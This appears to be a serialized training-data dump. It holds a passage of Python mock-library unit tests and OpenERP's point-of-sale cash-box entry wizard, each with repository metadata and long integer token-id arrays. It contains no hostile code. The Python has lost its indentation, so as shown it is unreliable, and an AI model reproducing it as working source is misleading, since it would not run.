original = m.foo
m.foo = 3
del m.foo
self.assertEqual(m.foo, original)
new = m.foo = Mock()
del m.foo
self.assertEqual(m.foo, new)
def test_mock_parents(self):
for Klass in Mock, MagicMock:
m = Klass()
original_repr = repr(m)
m.return_value = m
self.assertIs(m(), m)
self.assertEqual(repr(m), original_repr)
m.reset_mock()
self.assertIs(m(), m)
self.assertEqual(repr(m), original_repr)
m = Klass()
m.b = m.a
self.assertIn("name='mock.a'", repr(m.b))
self.assertIn("name='mock.a'", repr(m.a))
m.reset_mock()
self.assertIn("name='mock.a'", repr(m.b))
self.assertIn("name='mock.a'", repr(m.a))
m = Klass()
original_repr = repr(m)
m.a = m()
m.a.return_value = m
self.assertEqual(repr(m), original_repr)
self.assertEqual(repr(m.a()), original_repr)
def test_attach_mock(self):
classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock
for Klass in classes:
for Klass2 in classes:
m = Klass()
m2 = Klass2(name='foo')
m.attach_mock(m2, 'bar')
self.assertIs(m.bar, m2)
self.assertIn("name='mock.bar'", repr(m2))
m.bar.baz(1)
self.assertEqual(m.mock_calls, [call.bar.baz(1)])
self.assertEqual(m.method_calls, [call.bar.baz(1)])
def test_attach_mock_return_value(self):
classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock
for Klass in Mock, MagicMock:
for Klass2 in classes:
m = Klass()
m2 = Klass2(name='foo')
m.attach_mock(m2, 'return_value')
self.assertIs(m(), m2)
self.assertIn("name='mock()'", repr(m2))
m2.foo()
self.assertEqual(m.mock_calls, call().foo().call_list())
def test_attribute_deletion(self):
for mock in Mock(), MagicMock():
self.assertTrue(hasattr(mock, 'm'))
del mock.m
self.assertFalse(hasattr(mock, 'm'))
del mock.f
self.assertFalse(hasattr(mock, 'f'))
self.assertRaises(AttributeError, getattr, mock, 'f')
def test_class_assignable(self):
for mock in Mock(), MagicMock():
self.assertNotIsInstance(mock, int)
mock.__class__ = int
self.assertIsInstance(mock, int)
mock.foo
if __name__ == '__main__':
unittest.main()
|
gpl-3.0
|
[
646,
1331,
199,
646,
984,
199,
199,
646,
2882,
199,
504,
2882,
14,
396,
14,
396,
1805,
14,
4058,
492,
365,
63,
842,
199,
504,
2882,
492,
1683,
199,
504,
2882,
14,
1805,
492,
334,
272,
1240,
12,
6186,
12,
3371,
12,
13792,
12,
272,
10079,
12,
4420,
12,
10172,
16410,
3346,
12,
272,
10172,
16410,
11988,
12,
485,
2176,
1296,
12,
272,
1218,
63,
22303,
199,
9,
421,
199,
533,
11953,
8,
785,
304,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
2127,
275,
2740,
2941,
3749,
297,
283,
374,
297,
283,
290,
297,
283,
1661,
1105,
339,
347,
636,
1661,
721,
277,
304,
267,
372,
291,
339,
347,
2163,
8,
277,
304,
267,
372,
2163,
8,
277,
14,
2127,
9,
339,
636,
2184,
363,
275,
2163,
4388,
199,
533,
4420,
774,
8,
2796,
14,
1746,
304,
339,
347,
511,
63,
452,
8,
277,
304,
267,
327,
340,
636,
452,
363,
365,
4875,
590,
3247,
2066,
492,
627,
911,
746,
376,
1125,
267,
327,
2136,
1172,
370,
2146,
652,
2952,
1265,
883,
1133,
492,
627,
6272,
282,
1083,
267,
327,
315,
2018,
650,
267,
2146,
480,
504,
2882,
14,
1805,
492,
627,
531,
2378,
347,
511,
63,
1880,
8,
277,
304,
267,
1683,
275,
4420,
342,
398,
291,
14,
3334,
8,
1805,
14,
3527,
12,
298,
3527,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
1250,
63,
835,
12,
378,
12,
586,
298,
1250,
63,
835,
440,
2536,
9096,
6657,
531,
267,
291,
14,
1815,
8,
374,
63,
842,
8,
1805,
14,
1107,
63,
585,
12,
4420,
395,
717,
298,
1107,
63,
585,
440,
2536,
9096,
6657,
531,
398,
291,
14,
629,
8,
1805,
14,
1250,
63,
589,
12,
488,
12,
586,
298,
1250,
63,
589,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
1250,
63,
589,
63,
513,
12,
990,
586,
298,
1250,
63,
589,
63,
513,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
765,
63,
5352,
12,
990,
2079,
298,
765,
63,
5352,
440,
2536,
9096,
6657,
531,
398,
327,
6855,
1133,
675,
2688,
367,
642,
511,
465,
652,
3544,
2529,
715,
641,
282,
1683,
267,
291,
14,
3334,
6412,
1744,
7,
315,
1683,
855,
807,
3108,
586,
298,
885,
1683,
1077,
440,
1172,
2513,
1744,
7,
2225,
531,
398,
291,
14,
7702,
8,
1805,
423,
1805,
63,
1708,
12,
2079,
298,
1708,
440,
2536,
9096,
6657,
531,
267,
291,
14,
7702,
8,
1805,
423,
1805,
63,
2474,
12,
2079,
298,
2474,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
423,
1805,
63,
3223,
12,
5479,
586,
298,
3223,
440,
2536,
9096,
22743,
531,
2378,
347,
511,
63,
1107,
63,
585,
63,
262,
63,
1880,
8,
277,
304,
267,
1683,
275,
4420,
8,
1107,
63,
585,
29,
403,
9,
267,
291,
14,
7702,
8,
1805,
14,
1107,
63,
585,
12,
2079,
298,
1107,
574,
315,
3787,
440,
394,
265,
810,
581,
531,
2378,
347,
511,
63,
2722,
8,
277,
304,
267,
1683,
275,
4420,
8,
354,
534,
1421,
358,
267,
291,
14,
4080,
360,
1421,
297,
4700,
8,
1805,
430,
267,
291,
14,
4080,
21065,
83,
4065,
450,
1305,
8,
1805,
395,
4700,
8,
1805,
430,
398,
26500,
275,
3842,
3346,
1062,
283,
1805,
659,
334,
3346,
8,
354,
534,
1700,
659,
283,
1700,
5440,
267,
367,
1683,
12,
536,
315,
26500,
26,
288,
291,
14,
4080,
3508,
83,
14,
1700,
7,
450,
536,
12,
4700,
8,
1805,
14,
1700,
430,
288,
291,
14,
4080,
3508,
83,
14,
1421,
11716,
450,
536,
12,
4700,
8,
1805,
14,
1421,
4059,
288,
291,
14,
4080,
3508,
83,
14,
1421,
1252,
10911,
7,
450,
536,
12,
4700,
8,
1805,
14,
1421,
1252,
10911,
430,
288,
291,
14,
4080,
3508,
83,
11716,
450,
536,
12,
4700,
8,
1805,
4059,
288,
291,
14,
4080,
3508,
83,
342,
11716,
450,
536,
12,
4700,
8,
1805,
342,
4059,
288,
291,
14,
4080,
3508,
83,
342,
1252,
1421,
14,
1700,
14,
6185,
1252,
10911,
7,
450,
536,
12,
2079,
4700,
8,
1805,
342,
1252,
1421,
14,
1700,
14,
6185,
1252,
10911,
430,
2378,
347,
511,
63,
2722,
63,
1045,
63,
1650,
8,
277,
304,
267,
1021,
1323,
8,
785,
304,
288,
986,
398,
1683,
275,
4420,
8,
1650,
29,
56,
9,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
29,
56,
1012,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
63,
409,
29,
56,
9,
267,
291,
14,
4080,
480,
3158,
63,
409,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
63,
409,
29,
56,
1012,
267,
291,
14,
4080,
480,
3158,
63,
409,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
29,
56,
12,
536,
534,
1421,
358,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
267,
291,
14,
4080,
480,
536,
534,
1421,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
354,
534,
1421,
358,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
342,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
2968,
1421,
1105,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
2378,
347,
511,
63,
2441,
63,
5881,
8,
277,
304,
267,
1683,
275,
4420,
342,
398,
347,
7763,
2031,
589,
12,
1011,
958,
304,
288,
746,
6187,
547,
360,
75,
371,
320,
79,
1873,
358,
398,
1683,
14,
2441,
63,
5881,
275,
7763,
267,
291,
14,
1855,
8,
3989,
547,
12,
1683,
12,
413,
12,
499,
12,
289,
2453,
29,
19,
9,
267,
1683,
14,
479,
63,
3527,
63,
1045,
8,
17,
12,
499,
12,
289,
2453,
29,
19,
9,
398,
2058,
275,
359,
17,
12,
499,
12,
650,
61,
267,
347,
7763,
837,
288,
372,
2058,
14,
1935,
342,
267,
1683,
14,
2441,
63,
5881,
275,
7763,
398,
291,
14,
629,
779,
1805,
1062,
1683,
1062,
1683,
15618,
359,
19,
12
] |
[
1331,
199,
646,
984,
199,
199,
646,
2882,
199,
504,
2882,
14,
396,
14,
396,
1805,
14,
4058,
492,
365,
63,
842,
199,
504,
2882,
492,
1683,
199,
504,
2882,
14,
1805,
492,
334,
272,
1240,
12,
6186,
12,
3371,
12,
13792,
12,
272,
10079,
12,
4420,
12,
10172,
16410,
3346,
12,
272,
10172,
16410,
11988,
12,
485,
2176,
1296,
12,
272,
1218,
63,
22303,
199,
9,
421,
199,
533,
11953,
8,
785,
304,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
2127,
275,
2740,
2941,
3749,
297,
283,
374,
297,
283,
290,
297,
283,
1661,
1105,
339,
347,
636,
1661,
721,
277,
304,
267,
372,
291,
339,
347,
2163,
8,
277,
304,
267,
372,
2163,
8,
277,
14,
2127,
9,
339,
636,
2184,
363,
275,
2163,
4388,
199,
533,
4420,
774,
8,
2796,
14,
1746,
304,
339,
347,
511,
63,
452,
8,
277,
304,
267,
327,
340,
636,
452,
363,
365,
4875,
590,
3247,
2066,
492,
627,
911,
746,
376,
1125,
267,
327,
2136,
1172,
370,
2146,
652,
2952,
1265,
883,
1133,
492,
627,
6272,
282,
1083,
267,
327,
315,
2018,
650,
267,
2146,
480,
504,
2882,
14,
1805,
492,
627,
531,
2378,
347,
511,
63,
1880,
8,
277,
304,
267,
1683,
275,
4420,
342,
398,
291,
14,
3334,
8,
1805,
14,
3527,
12,
298,
3527,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
1250,
63,
835,
12,
378,
12,
586,
298,
1250,
63,
835,
440,
2536,
9096,
6657,
531,
267,
291,
14,
1815,
8,
374,
63,
842,
8,
1805,
14,
1107,
63,
585,
12,
4420,
395,
717,
298,
1107,
63,
585,
440,
2536,
9096,
6657,
531,
398,
291,
14,
629,
8,
1805,
14,
1250,
63,
589,
12,
488,
12,
586,
298,
1250,
63,
589,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
1250,
63,
589,
63,
513,
12,
990,
586,
298,
1250,
63,
589,
63,
513,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
14,
765,
63,
5352,
12,
990,
2079,
298,
765,
63,
5352,
440,
2536,
9096,
6657,
531,
398,
327,
6855,
1133,
675,
2688,
367,
642,
511,
465,
652,
3544,
2529,
715,
641,
282,
1683,
267,
291,
14,
3334,
6412,
1744,
7,
315,
1683,
855,
807,
3108,
586,
298,
885,
1683,
1077,
440,
1172,
2513,
1744,
7,
2225,
531,
398,
291,
14,
7702,
8,
1805,
423,
1805,
63,
1708,
12,
2079,
298,
1708,
440,
2536,
9096,
6657,
531,
267,
291,
14,
7702,
8,
1805,
423,
1805,
63,
2474,
12,
2079,
298,
2474,
440,
2536,
9096,
6657,
531,
267,
291,
14,
629,
8,
1805,
423,
1805,
63,
3223,
12,
5479,
586,
298,
3223,
440,
2536,
9096,
22743,
531,
2378,
347,
511,
63,
1107,
63,
585,
63,
262,
63,
1880,
8,
277,
304,
267,
1683,
275,
4420,
8,
1107,
63,
585,
29,
403,
9,
267,
291,
14,
7702,
8,
1805,
14,
1107,
63,
585,
12,
2079,
298,
1107,
574,
315,
3787,
440,
394,
265,
810,
581,
531,
2378,
347,
511,
63,
2722,
8,
277,
304,
267,
1683,
275,
4420,
8,
354,
534,
1421,
358,
267,
291,
14,
4080,
360,
1421,
297,
4700,
8,
1805,
430,
267,
291,
14,
4080,
21065,
83,
4065,
450,
1305,
8,
1805,
395,
4700,
8,
1805,
430,
398,
26500,
275,
3842,
3346,
1062,
283,
1805,
659,
334,
3346,
8,
354,
534,
1700,
659,
283,
1700,
5440,
267,
367,
1683,
12,
536,
315,
26500,
26,
288,
291,
14,
4080,
3508,
83,
14,
1700,
7,
450,
536,
12,
4700,
8,
1805,
14,
1700,
430,
288,
291,
14,
4080,
3508,
83,
14,
1421,
11716,
450,
536,
12,
4700,
8,
1805,
14,
1421,
4059,
288,
291,
14,
4080,
3508,
83,
14,
1421,
1252,
10911,
7,
450,
536,
12,
4700,
8,
1805,
14,
1421,
1252,
10911,
430,
288,
291,
14,
4080,
3508,
83,
11716,
450,
536,
12,
4700,
8,
1805,
4059,
288,
291,
14,
4080,
3508,
83,
342,
11716,
450,
536,
12,
4700,
8,
1805,
342,
4059,
288,
291,
14,
4080,
3508,
83,
342,
1252,
1421,
14,
1700,
14,
6185,
1252,
10911,
7,
450,
536,
12,
2079,
4700,
8,
1805,
342,
1252,
1421,
14,
1700,
14,
6185,
1252,
10911,
430,
2378,
347,
511,
63,
2722,
63,
1045,
63,
1650,
8,
277,
304,
267,
1021,
1323,
8,
785,
304,
288,
986,
398,
1683,
275,
4420,
8,
1650,
29,
56,
9,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
29,
56,
1012,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
63,
409,
29,
56,
9,
267,
291,
14,
4080,
480,
3158,
63,
409,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
63,
409,
29,
56,
1012,
267,
291,
14,
4080,
480,
3158,
63,
409,
534,
56,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
29,
56,
12,
536,
534,
1421,
358,
267,
291,
14,
4080,
480,
3158,
534,
56,
7,
3872,
4700,
8,
1805,
430,
267,
291,
14,
4080,
480,
536,
534,
1421,
7,
3872,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
354,
534,
1421,
358,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
342,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
398,
1683,
275,
4420,
8,
1650,
2968,
1421,
1105,
267,
291,
14,
8795,
480,
1650,
401,
4700,
8,
1805,
430,
2378,
347,
511,
63,
2441,
63,
5881,
8,
277,
304,
267,
1683,
275,
4420,
342,
398,
347,
7763,
2031,
589,
12,
1011,
958,
304,
288,
746,
6187,
547,
360,
75,
371,
320,
79,
1873,
358,
398,
1683,
14,
2441,
63,
5881,
275,
7763,
267,
291,
14,
1855,
8,
3989,
547,
12,
1683,
12,
413,
12,
499,
12,
289,
2453,
29,
19,
9,
267,
1683,
14,
479,
63,
3527,
63,
1045,
8,
17,
12,
499,
12,
289,
2453,
29,
19,
9,
398,
2058,
275,
359,
17,
12,
499,
12,
650,
61,
267,
347,
7763,
837,
288,
372,
2058,
14,
1935,
342,
267,
1683,
14,
2441,
63,
5881,
275,
7763,
398,
291,
14,
629,
779,
1805,
1062,
1683,
1062,
1683,
15618,
359,
19,
12,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jmesteve/asterisk
|
openerp/addons/point_of_sale/wizard/pos_box_entries.py
|
54
|
6577
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import time
from openerp.osv import osv, fields
from openerp.tools.translate import _
def get_journal(self, cr, uid, context=None):
"""
Make the selection list of Cash Journal .
@param self: The object pointer.
@param cr: A database cursor
@param uid: ID of the user currently logged in
@param context: A standard dictionary
@return :Return the list of journal
"""
journal_obj = self.pool.get('account.journal')
statement_obj = self.pool.get('account.bank.statement')
j_ids = journal_obj.search(cr, uid, [('journal_user','=',1)], context=context)
obj_ids = statement_obj.search(cr, uid, [('state', '=', 'open'), ('user_id', '=', uid), ('journal_id', 'in', j_ids)], context=context)
res = statement_obj.read(cr, uid, obj_ids, ['journal_id'], context=context)
res = [(r['journal_id']) for r in res]
if not len(res) and context:
raise osv.except_osv(_('Error!'), _('You do not have any open cash register. You must create a payment method or open a cash register.'))
return res
class pos_box_entries(osv.osv_memory):
_name = 'pos.box.entries'
_description = 'Pos Box Entries'
def _get_income_product(self, cr, uid, context=None):
"""
Make the selection list of purchasing products.
@param self: The object pointer.
@param cr: A database cursor
@param uid: ID of the user currently logged in
@param context: A standard dictionary
@return :Return of operation of product
"""
product_obj = self.pool.get('product.product')
ids = product_obj.search(cr, uid, [('income_pdt', '=', True)], context=context)
res = product_obj.read(cr, uid, ids, ['id', 'name'], context=context)
res = [(r['id'], r['name']) for r in res]
res.insert(0, ('', ''))
return res
_columns = {
'name': fields.char('Reason', size=32, required=True),
'journal_id': fields.many2one('account.journal', 'Cash Register', required=True, domain="[('journal_id.type', '=', 'cash')]"),
'product_id': fields.selection(_get_income_product, "Operation", required=True, size=-1),
'amount': fields.float('Amount', digits=(16, 2), required=True),
'ref': fields.char('Ref', size=32),
'session_id' : fields.many2one('pos.session', 'Session'),
'user_id' : fields.many2one('res.users', 'User'),
}
def _default_session_id(self, cr, uid, context=None):
return context and context.get('active_id', False) or False
def _default_cash_register(self, cr, uid, context=None):
#import pdb
#pdb.set_trace()
if not context:
context = {}
result = context.get('active_id', False) or False
return result
_defaults = {
#'session_id' : _default_session_id,
#'journal_id': _default_cash_register,
#'product_id': 1,
'user_id' : lambda obj, cr, uid, context: uid,
}
def get_in(self, cr, uid, ids, context=None):
"""
Create the entry of statement in journal.
@param self: The object pointer.
@param cr: A database cursor
@param uid: ID of the user currently logged in
@param context: A standard dictionary
@return :Return of operation of product
"""
statement_obj = self.pool.get('account.bank.statement')
res_obj = self.pool.get('res.users')
product_obj = self.pool.get('product.product')
bank_statement = self.pool.get('account.bank.statement.line')
for data in self.read(cr, uid, ids, context=context):
vals = {}
curr_company = res_obj.browse(cr, uid, uid, context=context).company_id.id
statement_id = statement_obj.search(cr, uid, [('journal_id', '=', int(data['journal_id'])), ('company_id', '=', curr_company), ('user_id', '=', uid), ('state', '=', 'open')], context=context)
if not statement_id:
raise osv.except_osv(_('Error!'), _('You have to open at least one cashbox.'))
product = product_obj.browse(cr, uid, int(data['product_id']))
acc_id = product.property_account_income or product.categ_id.property_account_income_categ
if not acc_id:
raise osv.except_osv(_('Error!'), _('Please check that income account is set to %s.')%(product_obj.browse(cr, uid, data['product_id']).name))
if statement_id:
statement_id = statement_id[0]
if not statement_id:
statement_id = statement_obj.create(cr, uid, {
'date': time.strftime('%Y-%m-%d 00:00:00'),
'journal_id': data['journal_id'],
'company_id': curr_company,
'user_id': uid,
}, context=context)
vals['statement_id'] = statement_id
vals['journal_id'] = data['journal_id']
if acc_id:
vals['account_id'] = acc_id.id
vals['amount'] = data['amount'] or 0.0
vals['ref'] = "%s" % (data['ref'] or '')
vals['name'] = "%s: %s " % (product_obj.browse(cr, uid, data['product_id'], context=context).name, data['name'].decode('utf8'))
bank_statement.create(cr, uid, vals, context=context)
return {}
pos_box_entries()
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
646,
900,
199,
199,
504,
5166,
14,
4795,
492,
9506,
12,
1504,
199,
504,
5166,
14,
2537,
14,
5275,
492,
485,
421,
199,
318,
664,
63,
7067,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
272,
408,
268,
4155,
314,
7267,
769,
402,
445,
1119,
22142,
221,
1275,
268,
768,
635,
291,
26,
710,
909,
7849,
14,
268,
768,
635,
2467,
26,
437,
3050,
3920,
268,
768,
635,
1747,
26,
2870,
402,
314,
922,
5544,
10367,
315,
268,
768,
635,
1067,
26,
437,
4465,
2600,
268,
768,
1107,
520,
1767,
314,
769,
402,
9605,
272,
408,
2286,
9605,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
7067,
358,
272,
5164,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
9860,
14,
6242,
358,
339,
1335,
63,
1580,
275,
9605,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
7067,
63,
751,
18937,
17,
4360,
1067,
29,
1100,
9,
272,
1559,
63,
1580,
275,
5164,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
929,
297,
6291,
283,
1490,
659,
661,
751,
63,
344,
297,
6291,
1747,
395,
661,
7067,
63,
344,
297,
283,
262,
297,
1335,
63,
1580,
4360,
1067,
29,
1100,
9,
272,
522,
275,
5164,
63,
1113,
14,
739,
8,
1556,
12,
1747,
12,
1559,
63,
1580,
12,
788,
7067,
63,
344,
995,
1067,
29,
1100,
9,
272,
522,
275,
3842,
82,
459,
7067,
63,
344,
1105,
367,
519,
315,
522,
61,
272,
340,
440,
822,
8,
470,
9,
436,
1067,
26,
267,
746,
9506,
14,
2590,
63,
4795,
6723,
547,
15659,
4018,
5556,
886,
440,
1172,
1263,
1551,
286,
1119,
2274,
14,
2047,
1471,
1218,
282,
11628,
1083,
503,
1551,
282,
286,
1119,
2274,
12459,
272,
372,
522,
199,
199,
533,
2086,
63,
1977,
63,
3189,
8,
4795,
14,
4795,
63,
4844,
304,
272,
485,
354,
275,
283,
1712,
14,
1977,
14,
3189,
7,
272,
485,
1802,
275,
283,
6981,
20783,
23450,
1996,
7,
339,
347,
485,
362,
63,
23607,
63,
2558,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
267,
408,
1467,
4155,
314,
7267,
769,
402,
5861,
335,
11571,
221,
7585,
14,
1467,
768,
635,
291,
26,
710,
909,
7849,
14,
1467,
768,
635,
2467,
26,
437,
3050,
3920,
1467,
768,
635,
1747,
26,
2870,
402,
314,
922,
5544,
10367,
315,
1467,
768,
635,
1067,
26,
437,
4465,
2600,
1467,
768,
1107,
520,
1767,
402,
3439,
402,
3336,
267,
408,
267,
3336,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2558,
14,
2558,
358,
267,
2762,
275,
3336,
63,
1113,
14,
1733,
8,
1556,
12,
1747,
12,
4274,
23607,
63,
80,
3583,
297,
6291,
715,
4360,
1067,
29,
1100,
9,
267,
522,
275,
3336,
63,
1113,
14,
739,
8,
1556,
12,
1747,
12,
2762,
12,
788,
344,
297,
283,
354,
995,
1067,
29,
1100,
9,
267,
522,
275,
3842,
82,
459,
344,
995,
519,
459,
354,
1105,
367,
519,
315,
522,
61,
267,
522,
14,
3176,
8,
16,
12,
13134,
12381,
398,
372,
522,
339,
485,
3406,
275,
469,
267,
283,
354,
356,
1504,
14,
1560,
360,
16148,
297,
1568,
29,
708,
12,
1415,
29,
549,
395,
267,
283,
7067,
63,
344,
356,
1504,
14,
3479,
18,
368,
360,
2048,
14,
7067,
297,
283,
35,
1119,
11828,
297,
1415,
29,
549,
12,
2881,
628,
19412,
7067,
63,
344,
14,
466,
297,
6291,
283,
20084,
5440,
1288,
267,
283,
2558,
63,
344,
356,
1504,
14,
5592,
1547,
362,
63,
23607,
63,
2558,
12,
298,
6044,
401,
1415,
29,
549,
12,
1568,
4022,
17,
395,
267,
283,
4606,
356,
1504,
14,
1609,
360,
18785,
297,
7576,
2687,
975,
12,
499,
395,
1415,
29,
549,
395,
267,
283,
1121,
356,
1504,
14,
1560,
360,
2891,
297,
1568,
29,
708,
395,
267,
283,
1730,
63,
344,
7,
520,
1504,
14,
3479,
18,
368,
360,
1712,
14,
1730,
297,
283,
4434,
659,
267,
283,
751,
63,
344,
7,
520,
1504,
14,
3479,
18,
368,
360,
470,
14,
3707,
297,
283,
1899,
659,
272,
789,
339,
347,
485,
885,
63,
1730,
63,
344,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
267,
372,
1067,
436,
1067,
14,
362,
360,
2682,
63,
344,
297,
756,
9,
503,
756,
339,
347,
485,
885,
63,
20084,
63,
2683,
8,
277,
12,
2467,
12,
1747,
12,
1067,
29,
403,
304,
398,
327,
646,
10543,
267,
327,
10511,
14,
409,
63,
3446,
342,
267,
340,
440,
1067,
26,
288,
1067,
275,
1052,
267,
754,
275,
1067,
14,
362,
360,
2682,
63,
344,
297,
756,
9,
503,
756,
398,
372,
754,
339,
485,
4322,
275,
469,
267,
17384,
1730,
63,
344,
7,
520,
485,
885,
63,
1730,
63,
344,
12,
267,
17384,
7067,
63,
344,
356,
485,
885,
63,
20084,
63,
2683,
12,
267,
17384,
2558,
63,
344,
356,
413,
12,
267,
283,
751,
63,
344,
7,
520,
2400,
1559,
12,
2467,
12,
1747
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
